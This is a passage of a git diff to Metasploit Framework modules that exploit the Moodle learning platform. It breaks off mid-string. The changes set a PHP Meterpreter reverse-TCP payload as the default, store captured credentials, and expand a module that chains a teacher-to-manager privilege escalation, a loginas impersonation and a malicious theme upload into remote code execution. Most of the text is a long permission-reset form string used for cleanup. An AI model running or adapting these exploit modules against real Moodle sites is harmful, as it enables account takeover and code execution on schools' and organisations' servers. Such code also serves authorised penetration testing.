b/lib/msf/core/exploit/remote/http/moodle/login.rb index 9df06ee8c2..cf44add997 100644 --- a/lib/msf/core/exploit/remote/http/moodle/login.rb +++ b/lib/msf/core/exploit/remote/http/moodle/login.rb @@ -29,6 +29,7 @@ module Msf::Exploit::Remote::HTTP::Moodle::Login cookies = cookie_jar.cookies cookie_jar.clear + store_valid_credential(user: user, private: pass) return cookies end diff --git a/lib/msf/core/exploit/remote/http/moodle/uris.rb b/lib/msf/core/exploit/remote/http/moodle/uris.rb index 09c1525d9e..c13faba5d5 100644 --- a/lib/msf/core/exploit/remote/http/moodle/uris.rb +++ b/lib/msf/core/exploit/remote/http/moodle/uris.rb @@ -22,6 +22,13 @@ module Msf::Exploit::Remote::HTTP::Moodle::URIs normalize_uri(target_uri.path, 'enrol', 'manual', 'ajax.php') end + # Returns the Moodle Ajax Service URL + # + # @return [String] Moodle Ajax Service URL + def moodle_ajax_service + normalize_uri(target_uri.path, 'lib', 'ajax', 'service.php') + end + # Returns the Moodle User Home URL # # @return [String] Moodle User Home URL diff --git a/modules/exploits/multi/http/moodle_admin_shell_upload.rb b/modules/exploits/multi/http/moodle_admin_shell_upload.rb index 4b0aa2b834..7b3387cca4 100644 --- a/modules/exploits/multi/http/moodle_admin_shell_upload.rb +++ b/modules/exploits/multi/http/moodle_admin_shell_upload.rb @@ -41,9 +41,9 @@ class MetasploitModule < Msf::Exploit::Remote 'Privileged' => false, 'DisclosureDate' => '2019-04-28', 'DefaultTarget' => 0, + 'DefaultOptions' => { 'Payload' => 'php/meterpreter/reverse_tcp' }, 'Payload' => { - 'BadChars' => "'", - 'Default' => 'php/meterpreter/reverse_tcp' + 'BadChars' => "'" }, 'Notes' => { 'Stability' => [CRASH_SAFE], @@ -105,7 +105,7 @@ class MetasploitModule < Msf::Exploit::Remote def exploit v = moodle_version - Failure::NoAccess('Unable to determine moodle version') if v.nil? + fail_with(Failure::NoTarget, 'Unable to determine moodle version') if v.nil? version = Rex::Version.new(v) print_status("Authenticating as user: #{datastore['USERNAME']}") @@ -120,7 +120,7 @@ class MetasploitModule < Msf::Exploit::Remote addon_content, header, addon_name = create_addon_file print_status('Uploading addon') file_id, sesskey = upload_addon(addon_name, version, addon_content) - fail_with(Failure::NoAccess, 'Unable to upload addon') if file_id.nil? + fail_with(Failure::NoAccess, 'Unable to upload addon. Make sure you are able to upload plugins with current permissions') if file_id.nil? print_good('Upload Successful. Integrating addon') ret = plugin_integration(sesskey, file_id, addon_name) if ret.nil? diff --git a/modules/exploits/multi/http/moodle_spelling_path_rce.rb b/modules/exploits/multi/http/moodle_spelling_path_rce.rb index 4aee9d08d0..12f08e1594 100644 --- a/modules/exploits/multi/http/moodle_spelling_path_rce.rb +++ b/modules/exploits/multi/http/moodle_spelling_path_rce.rb @@ -31,9 +31,9 @@ class MetasploitModule < Msf::Exploit::Remote ['CVE', '2021-21809'], ['URL', 'https://talosintelligence.com/vulnerability_reports/TALOS-2021-1277'] ], + 'DefaultOptions' => { 'Payload' => 'php/meterpreter/reverse_tcp' }, 'Payload' => { - 'BadChars' => "'", - 'Default' => 'php/meterpreter/reverse_tcp' + 'BadChars' => "'" }, 'Platform' => 'php', 'Arch' => ARCH_PHP, diff --git a/modules/exploits/multi/http/moodle_teacher_enrollment_priv_esc_to_rce.rb b/modules/exploits/multi/http/moodle_teacher_enrollment_priv_esc_to_rce.rb index 2c07b2fd19..63aa637699 100644 --- a/modules/exploits/multi/http/moodle_teacher_enrollment_priv_esc_to_rce.rb +++ b/modules/exploits/multi/http/moodle_teacher_enrollment_priv_esc_to_rce.rb @@ -4,6 +4,7 @@ ## class MetasploitModule < Msf::Exploit::Remote + Rank = GoodRanking # due to needing a lot of things to go right prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::Remote::HttpClient @@ -13,13 +14,20 @@ class MetasploitModule < Msf::Exploit::Remote super( update_info( info, - 'Name' => 'Moodle SpellChecker Path Authenticated Remote Command Execution', + 'Name' => 'Moodle Teacher Enrollment Privilege Escalation to RCE', 'Description' => %q{ - Moodle allows an authenticated teacher to privilege escalate to a manager. With this access, - it is then possible to reconfigure the site permissions to allow managers to install plugins. - This can then be exploited for RCE via exploits/multi/http/moodle_admin_shell_upload + Moodle version 3.9, 3.8 to 3.8.3, 3.7 to 3.7.6, 3.5 to 3.5.12 and earlier unsupported versions + allow for a teacher to exploit chain to RCE. A bug in the privileges system allows a teacher + to add themselves as a manager to their own class. They can then add any other users, and thus + look to add someone with manager privileges on the system (not just the class). After + adding a system manager, a 'loginas' feature is used to access their account. Next the system + is reconfigured to allow for all users to install an addon/plugin. Then a malicious theme + is uploaded and creates an RCE. - This module was tested against Moodle version + If all of that is a success, we revert permissions for managers to system default and + remove our malicoius theme. Manual cleanup to remove students from the class is required. + + This module was tested against Moodle version 3.9 }, 'License' => MSF_LICENSE, 'Author' => [ @@ -33,8 +41,14 @@ class MetasploitModule < Msf::Exploit::Remote ['URL', 'https://github.com/HoangKien1020/CVE-2020-14321'], ['EDB', '50180'] ], + 'Platform' => 'php', + 'Arch' => ARCH_PHP, 'Targets' => [['Automatic', {}]], + 'DefaultOptions' => { 'Payload' => 'php/meterpreter/reverse_tcp' }, 'DisclosureDate' => '2020-07-20', + 'Payload' => { + 'BadChars' => "'" + }, 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [CRASH_SAFE], @@ -86,21 +100,60 @@ class MetasploitModule < Msf::Exploit::Remote return res.body.scan(/id=(\d)&course/).flatten end - def give_manager_all_permissions(sess_key) + def manager_default_permissions(sess_key) + # reset Role archetype, Context types where this role may be assigned, and Permissions. + "sesskey=#{sess_key}&return=define&resettype=none&savechanges=Save+changes&shortname=manager&name=&description=&archetype=manager&contextlevel10=0&contextlevel10=1&contextlevel30=0&contextlevel40=0&contextlevel40=1&contextlevel50=0&contextlevel50=1&contextlevel70=0&contextlevel80=0&allowassign%5B%5D=&allowassign%5B%5D=1&allowassign%5B%5D=2&allowassign%5B%5D=3&allowassign%5B%5D=4&allowassign%5B%5D=5&allowassign%5B%5D=6&allowassign%5B%5D=7&allowassign%5B%5D=8&allowoverride%5B%5D=&allowoverride%5B%5D=1&allowoverride%5B%5D=2&allowoverride%5B%5D=3&allowoverride%5B%5D=4&allowoverride%5B%5D=5&allowoverride%5B%5D=6&allowoverride%5B%5D=7&allowoverride%5B%5D=8&allowswitch%5B%5D=&allowswitch%5B%5D=1&allowswitch%5B%5D=2&allowswitch%5B%5D=3&allowswitch%5B%5D=4&allowswitch%5B%5D=5&allowswitch%5B%5D=6&allowswitch%5B%5D=7&allowswitch%5B%5D=8&allowview%5B%5D=&allowview%5B%5D=1&allowview%5B%5D=2&allowview%5B%5D=3&allowview%5B%5D=4&allowview%5B%5D=5&allowview%5B%5D=6&allowview%5B%5D=7&allowview%5B%5D=8&block%2Fadmin_bookmarks%3Amyaddinstance=0&block%2Fbadges%3Amyaddinstance=0&block%2Fcalendar_month%3Amyaddinstance=0&block%2Fcalendar_upcoming%3Amyaddinstance=0&block%2Fcomments%3Amyaddinstance=0&block%2Fcourse_list%3Amyaddinstance=0&block%2Fglobalsearch%3Amyaddinstance=0&block%2Fglossary_random%3Amyaddinstance=0&block%2Fhtml%3Amyaddinstance=0&block%2Flp%3Aaddinstance=0&block%2Flp%3Aaddinstance=1&block%2Flp%3Amyaddinstance=0&block%2Fmentees%3Amyaddinstance=0&block%2Fmnet_hosts%3Amyaddinstance=0&block%2Fmyoverview%3Amyaddinstance=0&block%2Fmyprofile%3Amyaddinstance=0&block%2Fnavigation%3Amyaddinstance=0&block%2Fnews_items%3Amyaddinstance=0&block%2Fonline_users%3Amyaddinstance=0&block%2Fprivate_files%3Amyaddinstance=0&block%2Frecentlyaccessedcourses%3Amyaddinstance=0&block%2Frecentlyaccesseditems%3Amyaddinstance=0&block%2Frss_client%3Amyaddinstance=0&block%2Fsettings%3Amyaddinstance=0&block%2Fstarredcourses%3Amyaddinstance=0&block%2Ftags%3Amyaddinstance=0&block%2Ftimeline%3Amyaddinstance=0&enrol%2Fcategory%3Asynchronised=0&message%2Fairnotifier%3Amanagedevice=0&moodle%2Fanalytics%3Alistowninsights=0&moodle%2Fanalytics%3Amanagemodels=0&moodle%2Fanalytics%3Amanagemodels=1&moodle%2Fbadges%3Amanageglobalsettings=0&moodle%2Fbadges%3Amanageglobalsettings=1&moodle%2Fblog%3Acreate=0&moodle%2Fblog%3Acreate=1&moodle%2Fblog%3Amanageentries=0&moodle%2Fblog%3Amanageentries=1&moodle%2Fblog%3Amanageexternal=0&moodle%2Fblog%3Amanageexternal=1&moodle%2Fblog%3Asearch=0&moodle%2Fblog%3Asearch=1&moodle%2Fblog%3Aview=0&moodle%2Fblog%3Aview=1&moodle%2Fblog%3Aviewdrafts=0&moodle%2Fblog%3Aviewdrafts=1&moodle%2Fcourse%3Aconfigurecustomfields=0&moodle%2Fcourse%3Arecommendactivity=0&moodle%2Fcourse%3Arecommendactivity=1&moodle%2Fgrade%3Amanagesharedforms=0&moodle%2Fgrade%3Amanagesharedforms=1&moodle%2Fgrade%3Asharegradingforms=0&moodle%2Fgrade%3Asharegradingforms=1&moodle%2Fmy%3Aconfigsyspages=0&moodle%2Fmy%3Aconfigsyspages=1&moodle%2Fmy%3Amanageblocks=0&moodle%2Fportfolio%3Aexport=0&moodle%2Fquestion%3Aconfig=0&moodle%2Fquestion%3Aconfig=1&moodle%2Frestore%3Acreateuser=0&moodle%2Frestore%3Acreateuser=1&moodle%2Frole%3Amanage=0&moodle%2Frole%3Amanage=1&moodle%2Fsearch%3Aquery=0&moodle%2Fsearch%3Aquery=1&moodle%2Fsite%3Aconfig=0&moodle%2Fsite%3Aconfigview=0&moodle%2Fsite%3Aconfigview=1&moodle%2Fsite%3Adeleteanymessage=0&moodle%2Fsite%3Adeleteanymessage=1&moodle%2Fsite%3Adeleteownmessage=0&moodle%2Fsite%3Adoclinks=0&moodle%2Fsite%3Adoclinks=1&moodle%2Fsite%3Aforcelanguage=0&moodle%2Fsite%3Amaintenanceaccess=0&moodle%2Fsite%3Amanageallmessaging=0&moodle%2Fsite%3Amanageallmessaging=1&moodle%2Fsite%3Amessageanyuser=0&moodle%2Fsite%3Amessageanyuser=1&moodle%2Fsite%3Amnetlogintoremote=0&moodle%2Fsite%3Areadallmessages=0&moodle%2Fsite%3Areadallmessages=1&moodle%2Fsite%3Asendmessage=0&moodle%2Fsite%3Asendmessage=1&moodle%2Fsite%3Auploadusers=0&moodle%2Fsite%3Auploadusers=1&moodle%2Fsite%3Aviewparticipants=0&moodle%2Fsite%3Aviewparticipants=1&moodle%2Ftag%3Aedit=0&moodle%2Ftag%3Aedit=1&moodle%2Ftag%3Aeditblocks=0&moodle%2Ftag%3Aeditblocks=1&moodle%2Ftag%3Aflag=0&moodle%2Ftag%3Amanage=0&moodle%2Ftag%3Amanage=1&moodle%2Fuser%3Achangeownpassword=0&moodle%2Fuser%3Achangeownpassword=1&moodle%2Fuser%3Acreate=0&moodle%2Fuser%3Acreate=1&moodle%2Fuser%3Adelete=0&moodle%2Fuser%3Adelete=1&moodle%2Fuser%3Aeditownmessageprofile=0&moodle%2Fuser%3Aeditownmessageprofile=1&moodle%2Fuser%3Aeditownprofile=0&moodle%2Fuser%3Aeditownprofile=1&moodle%2Fuser%3Aignoreuserquota=0&moodle%2Fuser%3Amanageownblocks=0&moodle%2Fuser%3Amanageownfiles=0&moodle%2Fuser%3Amanagesyspages=0&moodle%2Fuser%3Amanagesyspages=1&moodle%2Fuser%3Aupdate=0&moodle%2Fuser%3Aupdate=1&moodle%2Fwebservice%3Acreatemobiletoken=0&moodle%2Fwebservice%3Acreatetoken=0&moodle%2Fwebservice%3Acreatetoken=1&moodle%2Fwebservice%3Amanagealltokens=0&quizaccess%2Fseb%3Amanagetemplates=0&quizaccess%2Fseb%3Amanagetemplates=1&report%2Fcourseoverview%3Aview=0&report%2Fcourseoverview%3Aview=1&report%2Fperformance%3Aview=0&report%2Fperformance%3Aview=1&report%2Fquestioninstances%3Aview=0&report%2Fquestioninstances%3Aview=1&report%2Fsecurity%3Aview=0&report%2Fsecurity%3Aview=1&report%2Fstatus%3Aview=0&report%2Fstatus%3Aview=1&tool%2Fcustomlang%3Aedit=0&tool%2Fcustomlang%3Aedit=1&tool%2Fcustomlang%3Aview=0&tool%2Fcustomlang%3Aview=1&tool%2Fdataprivacy%3Amanagedataregistry=0&tool%2Fdataprivacy%3Amanagedatarequests=0&tool%2Fdataprivacy%3Arequestdeleteforotheruser=0&tool%2Flpmigrate%3Aframeworksmigrate=0&tool%2Flpmigrate%3Aframeworksmigrate=1&tool%2Fmonitor%3Amanagetool=0&tool%2Fmonitor%3Amanagetool=1&tool%2Fpolicy%3Aaccept=0&tool%2Fpolicy%3Amanagedocs=0&tool%2Fpolicy%3Amanagedocs=1&tool%2Fpolicy%3Aviewacceptances=0&tool%2Fpolicy%3Aviewacceptances=1&tool%2Fuploaduser%3Auploaduserpictures=0&tool%2Fuploaduser%3Auploaduserpictures=1&tool%2Fusertours%3Amanagetours=0&tool%2Fusertours%3Amanagetours=1&auth%2Foauth2%3Amanagelinkedlogins=0&moodle%2Fbadges%3Amanageownbadges=0&moodle%2Fbadges%3Aviewotherbadges=0&moodle%2Fcompetency%3Aevidencedelete=0&moodle%2Fcompetency%3Aplancomment=0&moodle%2Fcompetency%3Aplancomment=1&moodle%2Fcompetency%3Aplancommentown=0&moodle%2Fcompetency%3Aplanmanage=0&moodle%2Fcompetency%3Aplanmanage=1&moodle%2Fcompetency%3Aplanmanagedraft=0&moodle%2Fcompetency%3Aplanmanagedraft=1&moodle%2Fcompetency%3Aplanmanageown=0&moodle%2Fcompetency%3Aplanmanageowndraft=0&moodle%2Fcompetency%3Aplanrequestreview=0&moodle%2Fcompetency%3Aplanrequestreview=1&moodle%2Fcompetency%3Aplanrequestreviewown=0&moodle%2Fcompetency%3Aplanreview=0&moodle%2Fcompetency%3Aplanreview=1&moodle%2Fcompetency%3Aplanview=0&moodle%2Fcompetency%3Aplanview=1&moodle%2Fcompetency%3Aplanviewdraft=0&moodle%2Fcompetency%3Aplanviewdraft=1&moodle%2Fcompetency%3Aplanviewown=0&moodle%2Fcompetency%3Aplanviewowndraft=0&moodle%2Fcompetency%3Ausercompetencycomment=0&moodle%2Fcompetency%3Ausercompetencycomment=1&moodle%2Fcompetency%3Ausercompetencycommentown=0&moodle%2Fcompetency%3Ausercompetencyrequestreview=0&moodle%2Fcompetency%3Ausercompetencyrequestreview=1&moodle%2Fcompetency%3Ausercompetencyrequestreviewown=0&moodle%2Fcompetency%3Ausercompetencyreview=0&moodle%2Fcompetency%3Ausercompetencyreview=1&moodle%2Fcompetency%3Ausercompetencyview=0&moodle%2Fcompetency%3Ausercompetencyview=1&moodle%2Fcompetency%3Auserevidencemanage=0&moodle%2Fcompetency%3Auserevidencemanage=1&moodle%2Fcompetency%3Auserevidencemanageown=0&moodle%2Fcompetency%3Auserevidenceview=0&moodle%2Fcompetency%3Auserevidenceview=1&moodle%2Fuser%3Aeditmessageprofile=0&moodle%2Fuser%3Aeditmessageprofile=1&moodle%2Fuser%3Aeditprofile=0&moodle%2Fuser%3Aeditprofile=1&moodle%2Fuser%3Amanageblocks=0&moodle%2Fuser%3Areaduserblogs=0&moodle%2Fuser%3Areaduserblogs=1&moodle%2Fuser%3Areaduserposts=0&moodle%2Fuser%3Areaduserposts=1&moodle%2Fuser%3Aviewalldetails=0&moodle%2Fuser%3Aviewalldetails=1&moodle%2Fuser%3Aviewlastip=0&moodle%2Fuser%3Aviewlastip=1&moodle%2Fuser%3Aviewuseractivitiesreport=0&report%2Fusersessions%3Amanageownsessions=0&tool%2Fdataprivacy%3Adownloadallrequests=0&tool%2Fdataprivacy%3Adownloadownrequest=0&tool%2Fdataprivacy%3Amakedatadeletionrequestsforchildren=0&tool%2Fdataprivacy%3Amakedatarequestsforchildren=0&tool%2Fdataprivacy%3Arequestdelete=0&tool%2Fpolicy%3Aacceptbehalf=0&moodle%2Fcategory%3Amanage=0&moodle%2Fcategory%3Amanage=1&moodle%2Fcategory%3Aviewcourselist=0&moodle%2Fcategory%3Aviewhiddencategories=0&moodle%2Fcategory%3Aviewhiddencategories=1&moodle%2Fcohort%3Aassign=0&moodle%2Fcohort%3Aassign=1&moodle%2Fcohort%3Amanage=0&moodle%2Fcohort%3Amanage=1&moodle%2Fcompetency%3Acompetencymanage=0&moodle%2Fcompetency%3Acompetencymanage=1&moodle%2Fcompetency%3Acompetencyview=0&moodle%2Fcompetency%3Atemplatemanage=0&moodle%2Fcompetency%3Atemplatemanage=1&moodle%2Fcompetency%3Atemplateview=0&moodle%2Fcompetency%3Atemplateview=1&moodle%2Fcourse%3Acreate=0&moodle%2Fcourse%3Acreate=1&moodle%2Fcourse%3Arequest=0&moodle%2Fsite%3Aapprovecourse=0&moodle%2Fsite%3Aapprovecourse=1&repository%2Fcontentbank%3Aaccesscoursecategorycontent=0&repository%2Fcontentbank%3Aaccesscoursecategorycontent=1&repository%2Fcontentbank%3Aaccessgeneralcontent=0&block%2Frecent_activity%3Aviewaddupdatemodule=0&block%2Frecent_activity%3Aviewdeletemodule=0&contenttype%2Fh5p%3Aaccess=0&contenttype%2Fh5p%3Aaccess=1&contenttype%2Fh5p%3Aupload=0&contenttype%2Fh5p%3Aupload=1&contenttype%2Fh5p%3Auseeditor=0&contenttype%2Fh5p%3Auseeditor=1&enrol%2Fcategory%3Aconfig=0&enrol%2Fcategory%3Aconfig=1&enrol%2Fcohort%3Aconfig=0&enrol%2Fcohort%3Aconfig=1&enrol%2Fcohort%3Aunenrol=0&enrol%2Fcohort%3Aunenrol=1&enrol%2Fdatabase%3Aconfig=0&enrol%2Fdatabase%3Aconfig=1&enrol%2Fdatabase%3Aunenrol=0&enrol%2Fdatabase%3Aunenrol=1&enrol%2Fflatfile%3Amanage=0&enrol%2Fflatfile%3Aunenrol=0&enrol%2Fguest%3Aconfig=0&enrol%2Fguest%3Aconfig=1&enrol%2Fimsenterprise%3Aconfig=0&enrol%2Fimsenterprise%3Aconfig=1&enrol%2Fldap%3Amanage=0&enrol%2Fldap%3Amanage=1&enrol%2Flti%3Aconfig=0&enrol%2Flti%3Aconfig=1&enrol%2Flti%3Aunenrol=0&enrol%2Flti%3Aunenrol=1&enrol%2Fmanual%3Aconfig=0&enrol%2Fmanual%3Aconfig=1&enrol%2Fmanual%3Aenrol=0&enrol%2Fmanual%3Aenrol=1&enrol%2Fmanual%3Amanage=0&enrol%2Fmanual%3Amanage=1&enrol%2Fmanual%3Aunenrol=0&enrol%2Fmanual%3Aunenrol=1&enrol%2Fmanual%3Aunenrolself=0&enrol%2Fmeta%3Aconfig=0&enrol%2Fmeta%3Aconfig=1&enrol%2Fmeta%3Aselectaslinked=0&enrol%2Fmeta%3Aselectaslinked=1&enrol%2Fmeta%3Aunenrol=0&enrol%2Fmeta%3Aunenrol=1&enrol%2Fmnet%3Aconfig=0&enrol%2Fmnet%3Aconfig=1&enrol%2Fpaypal%3Aconfig=0&enrol%2Fpaypal%3Aconfig=1&enrol%2Fpaypal%3Amanage=0&enrol%2Fpaypal%3Amanage=1&enrol%2Fpaypal%3Aunenrol=0&enrol%2Fpaypal%3Aunenrol=1&enrol%2Fpaypal%3Aunenrolself=0&enrol%2Fself%3Aconfig=0&enrol%2Fself%3Aconfig=1&enrol%2Fself%3Aholdkey=0&enrol%2Fself%3Amanage=0&enrol%2Fself%3Amanage=1&enrol%2Fself%3Aunenrol=0&enrol%2Fself%3Aunenrol=1&enrol%2Fself%3Aunenrolself=0&gradeexport%2Fods%3Apublish=0&gradeexport%2Fods%3Apublish=1&gradeexport%2Fods%3Aview=0&gradeexport%2Fods%3Aview=1&gradeexport%2Ftxt%3Apublish=0&gradeexport%2Ftxt%3Apublish=1&gradeexport%2Ftxt%3Aview=0&gradeexport%2Ftxt%3Aview=1&gradeexport%2Fxls%3Apublish=0&gradeexport%2Fxls%3Apublish=1&gradeexport%2Fxls%3Aview=0&gradeexport%2Fxls%3Aview=1&gradeexport%2Fxml%3Apublish=0&gradeexport%2Fxml%3Apublish=1&gradeexport%2Fxml%3Aview=0&gradeexport%2Fxml%3Aview=1&gradeimport%2Fcsv%3Aview=0&gradeimport%2Fcsv%3Aview=1&gradeimport%2Fdirect%3Aview=0&gradeimport%2Fdirect%3Aview=1&gradeimport%2Fxml%3Apublish=0&gradeimport%2Fxml%3Apublish=1&gradeimport%2Fxml%3Aview=0&gradeimport%2Fxml%3Aview=1&gradereport%2Fgrader%3Aview=0&gradereport%2Fgrader%3Aview=1&gradereport%2Fhistory%3Aview=0&gradereport%2Fhistory%3Aview=1&gradereport%2Foutcomes%3Aview=0&gradereport%2Foutcomes%3Aview=1&gradereport%2Foverview%3Aview=0&gradereport%2Fsingleview%3Aview=0&gradereport%2Fsingleview%3Aview=1&gradereport%2Fuser%3Aview=0&gradereport%2Fuser%3Aview=1&mod%2Fassign%3Aaddinstance=0&mod%2Fassign%3Aaddinstance=1&mod%2Fassignment%3Aaddinstance=0&mod%2Fassignment%3Aaddinstance=1&mod%2Fbook%3Aaddinstance=0&mod%2Fbook%3Aaddinstance=1&mod%2Fchat%3Aaddinstance=0&mod%2Fchat%3Aaddinstance=1&mod%2Fchoice%3Aaddinstance=0&mod%2Fchoice%3Aaddinstance=1&mod%2Fdata%3Aaddinstance=0&mod%2Fdata%3Aaddinstance=1&mod%2Ffeedback%3Aaddinstance=0&mod%2Ffeedback%3Aaddinstance=1&mod%2Ffolder%3Aaddinstance=0&mod%2Ffolder%3Aaddinstance=1&mod%2Fforum%3Aaddinstance=0&mod%2Fforum%3Aaddinstance=1&mod%2Fglossary%3Aaddinstance=0&mod%2Fglossary%3Aaddinstance=1&mod%2Fh5pactivity%3Aaddinstance=0&mod%2Fh5pactivity%3Aaddinstance=1&mod%2Fimscp%3Aaddinstance=0&mod%2Fimscp%3Aaddinstance=1&mod%2Flabel%3Aaddinstance=0&mod%2Flabel%3Aaddinstance=1&mod%2Flesson%3Aaddinstance=0&mod%2Flesson%3Aaddinstance=1&mod%2Flti%3Aaddcoursetool=0&mod%2Flti%3Aaddcoursetool=1&mod%2Flti%3Aaddinstance=0&mod%2Flti%3Aaddinstance=1&mod%2Flti%3Aaddmanualinstance=0&mod%2Flti%3Aaddmanualinstance=1&mod%2Flti%3Aaddpreconfiguredinstance=0&mod%2Flti%3Aaddpreconfiguredinstance=1&mod%2Flti%3Arequesttooladd=0&mod%2Flti%3Arequesttooladd=1&mod%2Fpage%3Aaddinstance=0&mod%2Fpage%3Aaddinstance=1&mod%2Fquiz%3Aaddinstance=0&mod%2Fquiz%3Aaddinstance=1&mod%2Fresource%3Aaddinstance=0&mod%2Fresource%3Aaddinstance=1&mod%2Fscorm%3Aaddinstance=0&mod%2Fscorm%3Aaddinstance=1&mod%2Fsurvey%3Aaddinstance=0&mod%2Fsurvey%3Aaddinstance=1&mod%2Furl%3Aaddinstance=0&mod%2Furl%3Aaddinstance=1&mod%2Fwiki%3Aaddinstance=0&mod%2Fwiki%3Aaddinstance=1&mod%2Fworkshop%3Aaddinstance=0&mod%2Fworkshop%3Aaddinstance=1&moodle%2Fanalytics%3Alistinsights=0&moodle%2Fanalytics%3Alistinsights=1&moodle%2Fbackup%3Aanonymise=0&moodle%2Fbackup%3Aanonymise=1&moodle%2Fbackup%3Abackupcourse=0&moodle%2Fbackup%3Abackupcourse=1&moodle%2Fbackup%3Abackupsection=0&moodle%2Fbackup%3Abackupsection=1&moodle%2Fbackup%3Abackuptargetimport=0&moodle%2Fbackup%3Abackuptargetimport=1&moodle%2Fbackup%3Aconfigure=0&moodle%2Fbackup%3Aconfigure=1&moodle%2Fbackup%3Adownloadfile=0&moodle%2Fbackup%3Adownloadfile=1&moodle%2Fbackup%3Auserinfo=0&moodle%2Fbackup%3Auserinfo=1&moodle%2Fbadges%3Aawardbadge=0&moodle%2Fbadges%3Aawardbadge=1&moodle%2Fbadges%3Aconfigurecriteria=0&moodle%2Fbadges%3Aconfigurecriteria=1&moodle%2Fbadges%3Aconfiguredetails=0&moodle%2Fbadges%3Aconfiguredetails=1&moodle%2Fbadges%3Aconfiguremessages=0&moodle%2Fbadges%3Aconfiguremessages=1&moodle%2Fbadges%3Acreatebadge=0&moodle%2Fbadges%3Acreatebadge=1&moodle%2Fbadges%3Adeletebadge=0&moodle%2Fbadges%3Adeletebadge=1&moodle%2Fbadges%3Aearnbadge=0&moodle%2Fbadges%3Arevokebadge=0&moodle%2Fbadges%3Arevokebadge=1&moodle%2Fbadges%3Aviewawarded=0&moodle%2Fbadges%3Aviewawarded=1&moodle%2Fbadges%3Aviewbadges=0&moodle%2Fcalendar%3Amanageentries=0&moodle%2Fcalendar%3Amanageentries=1&moodle%2Fcalendar%3Amanagegroupentries=0&moodle%2Fcalendar%3Amanagegroupentries=1&moodle%2Fcalendar%3Amanageownentries=0&moodle%2Fcalendar%3Amanageownentries=1&moodle%2Fcohort%3Aview=0&moodle%2Fcohort%3Aview=1&moodle%2Fcomment%3Adelete=0&moodle%2Fcomment%3Adelete=1&moodle%2Fcomment%3Apost=0&moodle%2Fcomment%3Apost=1&moodle%2Fcomment%3Aview=0&moodle%2Fcomment%3Aview=1&moodle%2Fcompetency%3Acompetencygrade=0&moodle%2Fcompetency%3Acompetencygrade=1&moodle%2Fcompetency%3Acoursecompetencygradable=0&moodle%2Fcompetency%3Acoursecompetencymanage=0&moodle%2Fcompetency%3Acoursecompetencymanage=1&moodle%2Fcompetency%3Acoursecompetencyview=0&moodle%2Fcontentbank%3Aaccess=0&moodle%2Fcontentbank%3Aaccess=1&moodle%2Fcontentbank%3Adeleteanycontent=0&moodle%2Fcontentbank%3Adeleteanycontent=1&moodle%2Fcontentbank%3Adeleteowncontent=0&moodle%2Fcontentbank%3Amanageanycontent=0&moodle%2Fcontentbank%3Amanageanycontent=1&moodle%2Fcontentbank%3Amanageowncontent=0&moodle%2Fcontentbank%3Amanageowncontent=1&moodle%2Fcontentbank%3Aupload=0&moodle%2Fcontentbank%3Aupload=1&moodle%2Fcontentbank%3Auseeditor=0&moodle%2Fcontentbank%3Auseeditor=1&moodle%2Fcourse%3Abulkmessaging=0&moodle%2Fcourse%3Abulkmessaging=1&moodle%2Fcourse%3Achangecategory=0&moodle%2Fcourse%3Achangecategory=1&moodle%2Fcourse%3Achangefullname=0&moodle%2Fcourse%3Achangefullname=1&moodle%2Fcourse%3Achangeidnumber=0&moodle%2Fcourse%3Achangeidnumber=1&moodle%2Fcourse%3Achangelockedcustomfields=0&moodle%2Fcourse%3Achangelockedcustomfields=1&moodle%2Fcourse%3Achangeshortname=0&moodle%2Fcourse%3Achangeshortname=1&moodle%2Fcourse%3Achangesummary=0&moodle%2Fcourse%3Achangesummary=1&moodle%2Fcourse%3Acreategroupconversations=0&moodle%2Fcourse%3Acreategroupconversations=1&moodle%2Fcourse%3Adelete=0&moodle%2Fcourse%3Adelete=1&moodle%2Fcourse%3Aenrolconfig=0&moodle%2Fcourse%3Aenrolconfig=1&moodle%2Fcourse%3Aenrolreview=0&moodle%2Fcourse%3Aenrolreview=1&moodle%2Fcourse%3Aignorefilesizelimits=0&moodle%2Fcourse%3Aisincompletionreports=0&moodle%2Fcourse%3Amanagefiles=0&moodle%2Fcourse%3Amanagefiles=1&moodle%2Fcourse%3Amanagegroups=0&moodle%2Fcourse%3Amanagegroups=1&moodle%2Fcourse%3Amanagescales=0&moodle%2Fcourse%3Amanagescales=1&moodle%2Fcourse%3Amarkcomplete=0&moodle%2Fcourse%3Amarkcomplete=1&moodle%2Fcourse%3Amovesections=0&moodle%2Fcourse%3Amovesections=1&moodle%2Fcourse%3Aoverridecompletion=0&moodle%2Fcourse%3Aoverridecompletion=1&moodle%2Fcourse%3Arenameroles=0&moodle%2Fcourse%3Arenameroles=1&moodle%2Fcourse%3Areset=0&moodle%2Fcourse%3Areset=1&moodle%2Fcourse%3Areviewotherusers=0&moodle%2Fcourse%3Areviewotherusers=1&moodle%2Fcourse%3Asectionvisibility=0&moodle%2Fcourse%3Asectionvisibility=1&moodle%2Fcourse%3Asetcurrentsection=0&moodle%2Fcourse%3Asetcurrentsection=1&moodle%2Fcourse%3Asetforcedlanguage=0&moodle%2Fcourse%3Asetforcedlanguage=1&moodle%2Fcourse%3Atag=0&moodle%2Fcourse%3Atag=1&moodle%2Fcourse%3Aupdate=0&moodle%2Fcourse%3Aupdate=1&moodle%2Fcourse%3Auseremail=0&moodle%2Fcourse%3Auseremail=1&moodle%2Fcourse%3Aview=0&moodle%2Fcourse%3Aview=1&moodle%2Fcourse%3Aviewhiddencourses=0&moodle%2Fcourse%3Aviewhiddencourses=1&moodle%2Fcourse%3Aviewhiddensections=0&moodle%2Fcourse%3Aviewhiddensections=1&moodle%2Fcourse%3Aviewhiddenuserfields=0&moodle%2Fcourse%3Aviewhiddenuserfields=1&moodle%2Fcourse%3Aviewparticipants=0&moodle%2Fcourse%3Aviewparticipants=1&moodle%2Fcourse%3Aviewscales=0&moodle%2Fcourse%3Aviewscales=1&moodle%2Fcourse%3Aviewsuspendedusers=0&moodle%2Fcourse%3Aviewsuspendedusers=1&moodle%2Fcourse%3Avisibility=0&moodle%2Fcourse%3Avisibility=1&moodle%2Ffilter%3Amanage=0&moodle%2Ffilter%3Amanage=1&moodle%2Fgrade%3Aedit=0&moodle%2Fgrade%3Aedit=1&moodle%2Fgrade%3Aexport=0&moodle%2Fgrade%3Aexport=1&moodle%2Fgrade%3Ahide=0&moodle%2Fgrade%3Ahide=1&moodle%2Fgrade%3Aimport=0&moodle%2Fgrade%3Aimport=1&moodle%2Fgrade%3Alock=0&moodle%2Fgrade%3Alock=1&moodle%2Fgrade%3Amanage=0&m